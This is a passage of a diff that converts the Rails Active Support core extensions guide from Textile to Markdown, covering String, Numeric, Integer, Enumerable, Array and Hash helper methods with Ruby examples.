+The helper method `full_messages` uses `humanize` as a fallback to include attribute names:
-<ruby>
+```ruby
def full_messages
full_messages = []
@@ -1761,69 +1763,70 @@ def full_messages
full_messages
end
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
-h5. +foreign_key+
+#### `foreign_key`
-The method +foreign_key+ gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id":
+The method `foreign_key` gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id":
-<ruby>
+```ruby
"User".foreign_key # => "user_id"
"InvoiceLine".foreign_key # => "invoice_line_id"
"Admin::Session".foreign_key # => "session_id"
-</ruby>
+```
Pass a false argument if you do not want the underscore in "_id":
-<ruby>
+```ruby
"User".foreign_key(false) # => "userid"
-</ruby>
+```
-Associations use this method to infer foreign keys, for example +has_one+ and +has_many+ do this:
+Associations use this method to infer foreign keys, for example `has_one` and `has_many` do this:
-<ruby>
+```ruby
# active_record/associations.rb
foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
-h4(#string-conversions). Conversions
+### Conversions
-h5. +to_date+, +to_time+, +to_datetime+
+#### `to_date`, `to_time`, `to_datetime`
-The methods +to_date+, +to_time+, and +to_datetime+ are basically convenience wrappers around +Date._parse+:
+The methods `to_date`, `to_time`, and `to_datetime` are basically convenience wrappers around `Date._parse`:
-<ruby>
+```ruby
"2010-07-27".to_date # => Tue, 27 Jul 2010
"2010-07-27 23:37:00".to_time # => Tue Jul 27 23:37:00 UTC 2010
"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000
-</ruby>
+```
-+to_time+ receives an optional argument +:utc+ or +:local+, to indicate which time zone you want the time in:
+`to_time` receives an optional argument `:utc` or `:local`, to indicate which time zone you want the time in:
-<ruby>
+```ruby
"2010-07-27 23:42:00".to_time(:utc) # => Tue Jul 27 23:42:00 UTC 2010
"2010-07-27 23:42:00".to_time(:local) # => Tue Jul 27 23:42:00 +0200 2010
-</ruby>
+```
-Default is +:utc+.
+Default is `:utc`.
-Please refer to the documentation of +Date._parse+ for further details.
+Please refer to the documentation of `Date._parse` for further details.
-INFO: The three of them return +nil+ for blank receivers.
+INFO: The three of them return `nil` for blank receivers.
-NOTE: Defined in +active_support/core_ext/string/conversions.rb+.
+NOTE: Defined in `active_support/core_ext/string/conversions.rb`.
-h3. Extensions to +Numeric+
+Extensions to `Numeric`
+-----------------------
-h4. Bytes
+### Bytes
All numbers respond to these methods:
-<ruby>
+```ruby
bytes
kilobytes
megabytes
@@ -1831,33 +1834,33 @@ gigabytes
terabytes
petabytes
exabytes
-</ruby>
+```
They return the corresponding amount of bytes, using a conversion factor of 1024:
-<ruby>
+```ruby
2.kilobytes # => 2048
3.megabytes # => 3145728
3.5.gigabytes # => 3758096384
-4.exabytes # => -4611686018427387904
-</ruby>
+```
Singular forms are aliased so you are able to say:
-<ruby>
+```ruby
1.megabyte # => 1048576
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/numeric/bytes.rb+.
+NOTE: Defined in `active_support/core_ext/numeric/bytes.rb`.
-h4. Time
+### Time
-Enables the use of time calculations and declarations, like @45.minutes <plus> 2.hours <plus> 4.years@.
+Enables the use of time calculations and declarations, like `45.minutes + 2.hours + 4.years`.
These methods use Time#advance for precise date calculations when using from_now, ago, etc.
as well as adding or subtracting their results from a Time object. For example:
-<ruby>
+```ruby
# equivalent to Time.current.advance(:months => 1)
1.month.from_now
@@ -1866,34 +1869,33 @@ as well as adding or subtracting their results from a Time object. For example:
# equivalent to Time.current.advance(:months => 4, :years => 5)
(4.months + 5.years).from_now
-</ruby>
+```
While these methods provide precise calculation when used as in the examples above, care
should be taken to note that this is not true if the result of `months', `years', etc is
converted before use:
-<ruby>
+```ruby
# equivalent to 30.days.to_i.from_now
1.month.to_i.from_now
# equivalent to 365.25.days.to_f.from_now
1.year.to_f.from_now
-</ruby>
+```
-In such cases, Ruby's core
-Date[http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html] and
-Time[http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html] should be used for precision
+In such cases, Ruby's core [Date](http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html) and
+[Time](http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html) should be used for precision
date and time arithmetic.
-NOTE: Defined in +active_support/core_ext/numeric/time.rb+.
+NOTE: Defined in `active_support/core_ext/numeric/time.rb`.
-h4. Formatting
+### Formatting
Enables the formatting of numbers in a variety of ways.
Produce a string representation of a number as a telephone number:
-<ruby>
+```ruby
5551234.to_s(:phone)
# => 555-1234
1235551234.to_s(:phone)
@@ -1906,19 +1908,19 @@ Produce a string representation of a number as a telephone number:
# => (123) 555-1234 x 555
1235551234.to_s(:phone, :country_code => 1)
# => +1-123-555-1234
-</ruby>
+```
Produce a string representation of a number as currency:
-<ruby>
+```ruby
1234567890.50.to_s(:currency) # => $1,234,567,890.50
1234567890.506.to_s(:currency) # => $1,234,567,890.51
1234567890.506.to_s(:currency, :precision => 3) # => $1,234,567,890.506
-</ruby>
+```
Produce a string representation of a number as a percentage:
-<ruby>
+```ruby
100.to_s(:percentage)
# => 100.000%
100.to_s(:percentage, :precision => 0)
@@ -1927,42 +1929,42 @@ Produce a string representation of a number as a percentage:
# => 1.000,000%
302.24398923423.to_s(:percentage, :precision => 5)
# => 302.24399%
-</ruby>
+```
Produce a string representation of a number in delimited form:
-<ruby>
+```ruby
12345678.to_s(:delimited) # => 12,345,678
12345678.05.to_s(:delimited) # => 12,345,678.05
12345678.to_s(:delimited, :delimiter => ".") # => 12.345.678
12345678.to_s(:delimited, :delimiter => ",") # => 12,345,678
12345678.05.to_s(:delimited, :separator => " ") # => 12,345,678 05
-</ruby>
+```
Produce a string representation of a number rounded to a precision:
-<ruby>
+```ruby
111.2345.to_s(:rounded) # => 111.235
111.2345.to_s(:rounded, :precision => 2) # => 111.23
13.to_s(:rounded, :precision => 5) # => 13.00000
389.32314.to_s(:rounded, :precision => 0) # => 389
111.2345.to_s(:rounded, :significant => true) # => 111
-</ruby>
+```
Produce a string representation of a number as a human-readable number of bytes:
-<ruby>
+```ruby
123.to_s(:human_size) # => 123 Bytes
1234.to_s(:human_size) # => 1.21 KB
12345.to_s(:human_size) # => 12.1 KB
1234567.to_s(:human_size) # => 1.18 MB
1234567890.to_s(:human_size) # => 1.15 GB
1234567890123.to_s(:human_size) # => 1.12 TB
-</ruby>
+```
Produce a string representation of a number in human-readable words:
-<ruby>
+```ruby
123.to_s(:human) # => "123"
1234.to_s(:human) # => "1.23 Thousand"
12345.to_s(:human) # => "12.3 Thousand"
@@ -1970,280 +1972,285 @@ Produce a string representation of a number in human-readable words:
1234567890.to_s(:human) # => "1.23 Billion"
1234567890123.to_s(:human) # => "1.23 Trillion"
1234567890123456.to_s(:human) # => "1.23 Quadrillion"
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/numeric/formatting.rb+.
+NOTE: Defined in `active_support/core_ext/numeric/formatting.rb`.
-h3. Extensions to +Integer+
+Extensions to `Integer`
+-----------------------
-h4. +multiple_of?+
+### `multiple_of?`
-The method +multiple_of?+ tests whether an integer is multiple of the argument:
+The method `multiple_of?` tests whether an integer is multiple of the argument:
-<ruby>
+```ruby
2.multiple_of?(1) # => true
1.multiple_of?(2) # => false
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/integer/multiple.rb+.
+NOTE: Defined in `active_support/core_ext/integer/multiple.rb`.
-h4. +ordinal+
+### `ordinal`
-The method +ordinal+ returns the ordinal suffix string corresponding to the receiver integer:
+The method `ordinal` returns the ordinal suffix string corresponding to the receiver integer:
-<ruby>
+```ruby
1.ordinal # => "st"
2.ordinal # => "nd"
53.ordinal # => "rd"
2009.ordinal # => "th"
-21.ordinal # => "st"
-134.ordinal # => "th"
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/integer/inflections.rb+.
+NOTE: Defined in `active_support/core_ext/integer/inflections.rb`.
-h4. +ordinalize+
+### `ordinalize`
-The method +ordinalize+ returns the ordinal string corresponding to the receiver integer. In comparison, note that the +ordinal+ method returns *only* the suffix string.
+The method `ordinalize` returns the ordinal string corresponding to the receiver integer. In comparison, note that the `ordinal` method returns **only** the suffix string.
-<ruby>
+```ruby
1.ordinalize # => "1st"
2.ordinalize # => "2nd"
53.ordinalize # => "53rd"
2009.ordinalize # => "2009th"
-21.ordinalize # => "-21st"
-134.ordinalize # => "-134th"
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/integer/inflections.rb+.
+NOTE: Defined in `active_support/core_ext/integer/inflections.rb`.
-h3. Extensions to +BigDecimal+
+Extensions to `BigDecimal`
+--------------------------
...
-h3. Extensions to +Enumerable+
+Extensions to `Enumerable`
+--------------------------
-h4. +sum+
+### `sum`
-The method +sum+ adds the elements of an enumerable:
+The method `sum` adds the elements of an enumerable:
-<ruby>
+```ruby
[1, 2, 3].sum # => 6
(1..100).sum # => 5050
-</ruby>
+```
-Addition only assumes the elements respond to <tt>+</tt>:
+Addition only assumes the elements respond to `+`:
-<ruby>
+```ruby
[[1, 2], [2, 3], [3, 4]].sum # => [1, 2, 2, 3, 3, 4]
%w(foo bar baz).sum # => "foobarbaz"
{:a => 1, :b => 2, :c => 3}.sum # => [:b, 2, :c, 3, :a, 1]
-</ruby>
+```
The sum of an empty collection is zero by default, but this is customizable:
-<ruby>
+```ruby
[].sum # => 0
[].sum(1) # => 1
-</ruby>
+```
-If a block is given, +sum+ becomes an iterator that yields the elements of the collection and sums the returned values:
+If a block is given, `sum` becomes an iterator that yields the elements of the collection and sums the returned values:
-<ruby>
+```ruby
(1..5).sum {|n| n * 2 } # => 30
[2, 4, 6, 8, 10].sum # => 30
-</ruby>
+```
The sum of an empty receiver can be customized in this form as well:
-<ruby>
+```ruby
[].sum(1) {|n| n**3} # => 1
-</ruby>
+```
-The method +ActiveRecord::Observer#observed_subclasses+ for example is implemented this way:
+The method `ActiveRecord::Observer#observed_subclasses` for example is implemented this way:
-<ruby>
+```ruby
def observed_subclasses
observed_classes.sum([]) { |klass| klass.send(:subclasses) }
end
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/enumerable.rb+.
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
-h4. +index_by+
+### `index_by`
-The method +index_by+ generates a hash with the elements of an enumerable indexed by some key.
+The method `index_by` generates a hash with the elements of an enumerable indexed by some key.
It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block:
-<ruby>
+```ruby
invoices.index_by(&:number)
# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...}
-</ruby>
+```
WARNING. Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win.
-NOTE: Defined in +active_support/core_ext/enumerable.rb+.
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
-h4. +many?+
+### `many?`
-The method +many?+ is shorthand for +collection.size > 1+:
+The method `many?` is shorthand for `collection.size > 1`:
-<erb>
+```erb
<% if pages.many? %>
<%= pagination_links %>
<% end %>
-</erb>
+```
-If an optional block is given, +many?+ only takes into account those elements that return true:
+If an optional block is given, `many?` only takes into account those elements that return true:
-<ruby>
+```ruby
@see_more = videos.many? {|video| video.category == params[:category]}
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/enumerable.rb+.
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
-h4. +exclude?+
+### `exclude?`
-The predicate +exclude?+ tests whether a given object does *not* belong to the collection. It is the negation of the built-in +include?+:
+The predicate `exclude?` tests whether a given object does **not** belong to the collection. It is the negation of the built-in `include?`:
-<ruby>
+```ruby
to_visit << node if visited.exclude?(node)
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/enumerable.rb+.
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
-h3. Extensions to +Array+
+Extensions to `Array`
+---------------------
-h4. Accessing
+### Accessing
-Active Support augments the API of arrays to ease certain ways of accessing them. For example, +to+ returns the subarray of elements up to the one at the passed index:
+Active Support augments the API of arrays to ease certain ways of accessing them. For example, `to` returns the subarray of elements up to the one at the passed index:
-<ruby>
+```ruby
%w(a b c d).to(2) # => %w(a b c)
[].to(7) # => []
-</ruby>
+```
-Similarly, +from+ returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array.
+Similarly, `from` returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array.
-<ruby>
+```ruby
%w(a b c d).from(2) # => %w(c d)
%w(a b c d).from(10) # => []
[].from(0) # => []
-</ruby>
+```
-The methods +second+, +third+, +fourth+, and +fifth+ return the corresponding element (+first+ is built-in). Thanks to social wisdom and positive constructiveness all around, +forty_two+ is also available.
+The methods `second`, `third`, `fourth`, and `fifth` return the corresponding element (`first` is built-in). Thanks to social wisdom and positive constructiveness all around, `forty_two` is also available.
-<ruby>
+```ruby
%w(a b c d).third # => c
%w(a b c d).fifth # => nil
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/array/access.rb+.
+NOTE: Defined in `active_support/core_ext/array/access.rb`.
-h4. Adding Elements
+### Adding Elements
-h5. +prepend+
+#### `prepend`
-This method is an alias of <tt>Array#unshift</tt>.
+This method is an alias of `Array#unshift`.
-<ruby>
+```ruby
%w(a b c d).prepend('e') # => %w(e a b c d)
[].prepend(10) # => [10]
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+.
+NOTE: Defined in `active_support/core_ext/array/prepend_and_append.rb`.
-h5. +append+
+#### `append`
-This method is an alias of <tt>Array#<<</tt>.
+This method is an alias of `Array#<<`.
-<ruby>
+```ruby
%w(a b c d).append('e') # => %w(a b c d e)
[].append([1,2]) # => [[1,2]]
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+.
+NOTE: Defined in `active_support/core_ext/array/prepend_and_append.rb`.
-h4. Options Extraction
+### Options Extraction
-When the last argument in a method call is a hash, except perhaps for a +&block+ argument, Ruby allows you to omit the brackets:
+When the last argument in a method call is a hash, except perhaps for a `&block` argument, Ruby allows you to omit the brackets:
-<ruby>
+```ruby
User.exists?(:email => params[:email])
-</ruby>
+```
That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options.
-If a method expects a variable number of arguments and uses <tt>*</tt> in its declaration, however, such an options hash ends up being an item of the array of arguments, where it loses its role.
+If a method expects a variable number of arguments and uses `*` in its declaration, however, such an options hash ends up being an item of the array of arguments, where it loses its role.
-In those cases, you may give an options hash a distinguished treatment with +extract_options!+. This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash.
+In those cases, you may give an options hash a distinguished treatment with `extract_options!`. This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash.
-Let's see for example the definition of the +caches_action+ controller macro:
+Let's see for example the definition of the `caches_action` controller macro:
-<ruby>
+```ruby
def caches_action(*actions)
return unless cache_configured?
options = actions.extract_options!
...
end
-</ruby>
+```
-This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to +extract_options!+ you obtain the options hash and remove it from +actions+ in a simple and explicit way.
+This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to `extract_options!` you obtain the options hash and remove it from `actions` in a simple and explicit way.
-NOTE: Defined in +active_support/core_ext/array/extract_options.rb+.
+NOTE: Defined in `active_support/core_ext/array/extract_options.rb`.
-h4(#array-conversions). Conversions
+### Conversions
-h5. +to_sentence+
+#### `to_sentence`
-The method +to_sentence+ turns an array into a string containing a sentence that enumerates its items:
+The method `to_sentence` turns an array into a string containing a sentence that enumerates its items:
-<ruby>
+```ruby
%w().to_sentence # => ""
%w(Earth).to_sentence # => "Earth"
%w(Earth Wind).to_sentence # => "Earth and Wind"
%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire"
-</ruby>
+```
This method accepts three options:
-* <tt>:two_words_connector</tt>: What is used for arrays of length 2. Default is " and ".
-* <tt>:words_connector</tt>: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ".
-* <tt>:last_word_connector</tt>: What is used to join the last items of an array with 3 or more elements. Default is ", and ".
+* `:two_words_connector`: What is used for arrays of length 2. Default is " and ".
+* `:words_connector`: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ".
+* `:last_word_connector`: What is used to join the last items of an array with 3 or more elements. Default is ", and ".
The defaults for these options can be localised, their keys are:
-|_. Option |_. I18n key |
-| <tt>:two_words_connector</tt> | <tt>support.array.two_words_connector</tt> |
-| <tt>:words_connector</tt> | <tt>support.array.words_connector</tt> |
-| <tt>:last_word_connector</tt> | <tt>support.array.last_word_connector</tt> |
+| Option | I18n key |
+| ---------------------- | ----------------------------------- |
+| `:two_words_connector` | `support.array.two_words_connector` |
+| `:words_connector` | `support.array.words_connector` |
+| `:last_word_connector` | `support.array.last_word_connector` |
-Options <tt>:connector</tt> and <tt>:skip_last_comma</tt> are deprecated.
+Options `:connector` and `:skip_last_comma` are deprecated.
-NOTE: Defined in +active_support/core_ext/array/conversions.rb+.
+NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
-h5. +to_formatted_s+
+#### `to_formatted_s`
-The method +to_formatted_s+ acts like +to_s+ by default.
+The method `to_formatted_s` acts like `to_s` by default.
-If the array contains items that respond to +id+, however, it may be passed the symbol <tt>:db</tt> as argument. That's typically used with collections of ARs. Returned strings are:
+If the array contains items that respond to `id`, however, it may be passed the symbol `:db` as argument. That's typically used with collections of ARs. Returned strings are:
-<ruby>
+```ruby
[].to_formatted_s(:db) # => "null"
[user].to_formatted_s(:db) # => "8456"
invoice.lines.to_formatted_s(:db) # => "23,567,556,12"
-</ruby>
+```
-Integers in the example above are supposed to come from the respective calls to +id+.
+Integers in the example above are supposed to come from the respective calls to `id`.
-NOTE: Defined in +active_support/core_ext/array/conversions.rb+.
+NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
-h5. +to_xml+
+#### `to_xml`
-The method +to_xml+ returns a string containing an XML representation of its receiver:
+The method `to_xml` returns a string containing an XML representation of its receiver:
-<ruby>
+```ruby
Contributor.limit(2).order(:rank).to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
@@ -2261,15 +2268,15 @@ Contributor.limit(2).order(:rank).to_xml
# <url-id>david-heinemeier-hansson</url-id>
# </contributor>
# </contributors>
-</ruby>
+```
-To do so it sends +to_xml+ to every item in turn, and collects the results under a root node. All items must respond to +to_xml+, an exception is raised otherwise.
+To do so it sends `to_xml` to every item in turn, and collects the results under a root node. All items must respond to `to_xml`, an exception is raised otherwise.
-By default, the name of the root element is the underscorized and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with <tt>is_a?</tt>) and they are not hashes. In the example above that's "contributors".
+By default, the name of the root element is the underscorized and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with `is_a?`) and they are not hashes. In the example above that's "contributors".
If there's any element that does not belong to the type of the first one the root node becomes "objects":
-<ruby>
+```ruby
[Contributor.first, Commit.first].to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
@@ -2293,11 +2300,11 @@ If there's any element that does not belong to the type of the first one the roo
# <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1>
# </object>
# </objects>
-</ruby>
+```
If the receiver is an array of hashes the root element is by default also "objects":
-<ruby>
+```ruby
[{:a => 1, :b => 2}, {:c => 3}].to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
@@ -2310,15 +2317,15 @@ If the receiver is an array of hashes the root element is by default also "objec
# <c type="integer">3</c>
# </object>
# </objects>
-</ruby>
+```
-WARNING. If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the <tt>:root</tt> option to ensure a consistent root element.
+WARNING. If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the `:root` option to ensure a consistent root element.
-The name of children nodes is by default the name of the root node singularized. In the examples above we've seen "contributor" and "object". The option <tt>:children</tt> allows you to set these node names.
+The name of children nodes is by default the name of the root node singularized. In the examples above we've seen "contributor" and "object". The option `:children` allows you to set these node names.
-The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can configure your own builder via the <tt>:builder</tt> option. The method also accepts options like <tt>:dasherize</tt> and friends, they are forwarded to the builder:
+The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can configure your own builder via the `:builder` option. The method also accepts options like `:dasherize` and friends, they are forwarded to the builder:
-<ruby>
+```ruby
Contributor.limit(2).order(:rank).to_xml(:skip_types => true)
# =>
# <?xml version="1.0" encoding="UTF-8"?>
@@ -2336,77 +2343,77 @@ Contributor.limit(2).order(:rank).to_xml(:skip_types => true)
# <url-id>david-heinemeier-hansson</url-id>
# </contributor>
# </contributors>
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/array/conversions.rb+.
+NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
-h4. Wrapping
+### Wrapping
-The method +Array.wrap+ wraps its argument in an array unless it is already an array (or array-like).
+The method `Array.wrap` wraps its argument in an array unless it is already an array (or array-like).
Specifically:
-* If the argument is +nil+ an empty list is returned.
-* Otherwise, if the argument responds to +to_ary+ it is invoked, and if the value of +to_ary+ is not +nil+, it is returned.
+* If the argument is `nil` an empty list is returned.
+* Otherwise, if the argument responds to `to_ary` it is invoked, and if the value of `to_ary` is not `nil`, it is returned.
* Otherwise, an array with the argument as its single element is returned.
-<ruby>
+```ruby
Array.wrap(nil) # => []
Array.wrap([1, 2, 3]) # => [1, 2, 3]
Array.wrap(0) # => [0]
-</ruby>
+```
-This method is similar in purpose to <tt>Kernel#Array</tt>, but there are some differences:
+This method is similar in purpose to `Kernel#Array`, but there are some differences:
-* If the argument responds to +to_ary+ the method is invoked. <tt>Kernel#Array</tt> moves on to try +to_a+ if the returned value is +nil+, but <tt>Array.wrap</tt> returns +nil+ right away.
-* If the returned value from +to_ary+ is neither +nil+ nor an +Array+ object, <tt>Kernel#Array</tt> raises an exception, while <tt>Array.wrap</tt> does not, it just returns the value.
-* It does not call +to_a+ on the argument, though special-cases +nil+ to return an empty array.
+* If the argument responds to `to_ary` the method is invoked. `Kernel#Array` moves on to try `to_a` if the returned value is `nil`, but `Array.wrap` returns `nil` right away.
+* If the returned value from `to_ary` is neither `nil` nor an `Array` object, `Kernel#Array` raises an exception, while `Array.wrap` does not, it just returns the value.
+* It does not call `to_a` on the argument, though special-cases `nil` to return an empty array.
The last point is particularly worth comparing for some enumerables:
-<ruby>
+```ruby
Array.wrap(:foo => :bar) # => [{:foo => :bar}]
Array(:foo => :bar) # => [[:foo, :bar]]
-</ruby>
+```
There's also a related idiom that uses the splat operator:
-<ruby>
+```ruby
[*object]
-</ruby>
+```
-which in Ruby 1.8 returns +[nil]+ for +nil+, and calls to <tt>Array(object)</tt> otherwise. (Please if you know the exact behavior in 1.9 contact fxn.)
+which in Ruby 1.8 returns `[nil]` for `nil`, and calls to `Array(object)` otherwise. (Please if you know the exact behavior in 1.9 contact fxn.)
-Thus, in this case the behavior is different for +nil+, and the differences with <tt>Kernel#Array</tt> explained above apply to the rest of +object+s.
+Thus, in this case the behavior is different for `nil`, and the differences with `Kernel#Array` explained above apply to the rest of `object`s.
-NOTE: Defined in +active_support/core_ext/array/wrap.rb+.
+NOTE: Defined in `active_support/core_ext/array/wrap.rb`.
-h4. Duplicating
+### Duplicating
-The method +Array.deep_dup+ duplicates itself and all objects inside recursively with ActiveSupport method +Object#deep_dup+. It works like +Array#map+ with sending +deep_dup+ method to each object inside.
+The method `Array.deep_dup` duplicates itself and all objects inside recursively with ActiveSupport method `Object#deep_dup`. It works like `Array#map` with sending `deep_dup` method to each object inside.
-<ruby>
+```ruby
array = [1, [2, 3]]
dup = array.deep_dup
dup[1][2] = 4
array[1][2] == nil # => true
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/array/deep_dup.rb+.
+NOTE: Defined in `active_support/core_ext/array/deep_dup.rb`.
-h4. Grouping
+### Grouping
-h5. +in_groups_of(number, fill_with = nil)+
+#### `in_groups_of(number, fill_with = nil)`
-The method +in_groups_of+ splits an array into consecutive groups of a certain size. It returns an array with the groups:
+The method `in_groups_of` splits an array into consecutive groups of a certain size. It returns an array with the groups:
-<ruby>
+```ruby
[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]
-</ruby>
+```
or yields them in turn if a block is passed:
-<ruby>
+```html+erb
<% sample.in_groups_of(3) do |a, b, c| %>
<tr>
<td><%=h a %></td>
@@ -2414,93 +2421,94 @@ or yields them in turn if a block is passed:
<td><%=h c %></td>
</tr>
<% end %>
-</ruby>
+```
-The first example shows +in_groups_of+ fills the last group with as many +nil+ elements as needed to have the requested size. You can change this padding value using the second optional argument:
+The first example shows `in_groups_of` fills the last group with as many `nil` elements as needed to have the requested size. You can change this padding value using the second optional argument:
-<ruby>
+```ruby
[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]
-</ruby>
+```
-And you can tell the method not to fill the last group passing +false+:
+And you can tell the method not to fill the last group passing `false`:
-<ruby>
+```ruby
[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]
-</ruby>
+```
-As a consequence +false+ can't be a used as a padding value.
+As a consequence `false` can't be a used as a padding value.
-NOTE: Defined in +active_support/core_ext/array/grouping.rb+.
+NOTE: Defined in `active_support/core_ext/array/grouping.rb`.
-h5. +in_groups(number, fill_with = nil)+
+#### `in_groups(number, fill_with = nil)`
-The method +in_groups+ splits an array into a certain number of groups. The method returns an array with the groups:
+The method `in_groups` splits an array into a certain number of groups. The method returns an array with the groups:
-<ruby>
+```ruby
%w(1 2 3 4 5 6 7).in_groups(3)
# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]
-</ruby>
+```
or yields them in turn if a block is passed:
-<ruby>
+```ruby
%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
["1", "2", "3"]
["4", "5", nil]
["6", "7", nil]
-</ruby>
+```
-The examples above show that +in_groups+ fills some groups with a trailing +nil+ element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones.
+The examples above show that `in_groups` fills some groups with a trailing `nil` element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones.
You can change this padding value using the second optional argument:
-<ruby>
+```ruby
%w(1 2 3 4 5 6 7).in_groups(3, "0")
# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]
-</ruby>
+```
-And you can tell the method not to fill the smaller groups passing +false+:
+And you can tell the method not to fill the smaller groups passing `false`:
-<ruby>
+```ruby
%w(1 2 3 4 5 6 7).in_groups(3, false)
# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]
-</ruby>
+```
-As a consequence +false+ can't be a used as a padding value.
+As a consequence `false` can't be a used as a padding value.
-NOTE: Defined in +active_support/core_ext/array/grouping.rb+.
+NOTE: Defined in `active_support/core_ext/array/grouping.rb`.
-h5. +split(value = nil)+
+#### `split(value = nil)`
-The method +split+ divides an array by a separator and returns the resulting chunks.
+The method `split` divides an array by a separator and returns the resulting chunks.
If a block is passed the separators are those elements of the array for which the block returns true:
-<ruby>
+```ruby
(-5..5).to_a.split { |i| i.multiple_of?(4) }
# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]
-</ruby>
+```
-Otherwise, the value received as argument, which defaults to +nil+, is the separator:
+Otherwise, the value received as argument, which defaults to `nil`, is the separator:
-<ruby>
+```ruby
[0, 1, -5, 1, 1, "foo", "bar"].split(1)
# => [[0], [-5], [], ["foo", "bar"]]
-</ruby>
+```
TIP: Observe in the previous example that consecutive separators result in empty arrays.
-NOTE: Defined in +active_support/core_ext/array/grouping.rb+.
+NOTE: Defined in `active_support/core_ext/array/grouping.rb`.
-h3. Extensions to +Hash+
+Extensions to `Hash`
+--------------------
-h4(#hash-conversions). Conversions
+### Conversions
-h5(#hash-to-xml). +to_xml+
+#### `to_xml`
-The method +to_xml+ returns a string containing an XML representation of its receiver:
+The method `to_xml` returns a string containing an XML representation of its receiver:
-<ruby>
+```ruby
{"foo" => 1, "bar" => 2}.to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
@@ -2508,21 +2516,21 @@ The method +to_xml+ returns a string containing an XML representation of its rec
# <foo type="integer">1</foo>
# <bar type="integer">2</bar>
# </hash>
-</ruby>
+```
-To do so, the method loops over the pairs and builds nodes that depend on the _values_. Given a pair +key+, +value+:
+To do so, the method loops over the pairs and builds nodes that depend on the _values_. Given a pair `key`, `value`:
-* If +value+ is a hash there's a recursive call with +key+ as <tt>:root</tt>.
+* If `value` is a hash there's a recursive call with `key` as `:root`.
-* If +value+ is an array there's a recursive call with +key+ as <tt>:root</tt>, and +key+ singularized as <tt>:children</tt>.
+* If `value` is an array there's a recursive call with `key` as `:root`, and `key` singularized as `:children`.
-* If +value+ is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the +options+ hash as first argument with +key+ as <tt>:root</tt>, and +key+ singularized as second argument. Its return value becomes a new node.
+* If `value` is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the `options` hash as first argument with `key` as `:root`, and `key` singularized as second argument. Its return value becomes a new node.
-* If +value+ responds to +to_xml+ the method is invoked with +key+ as <tt>:root</tt>.
+* If `value` responds to `to_xml` the method is invoked with `key` as `:root`.
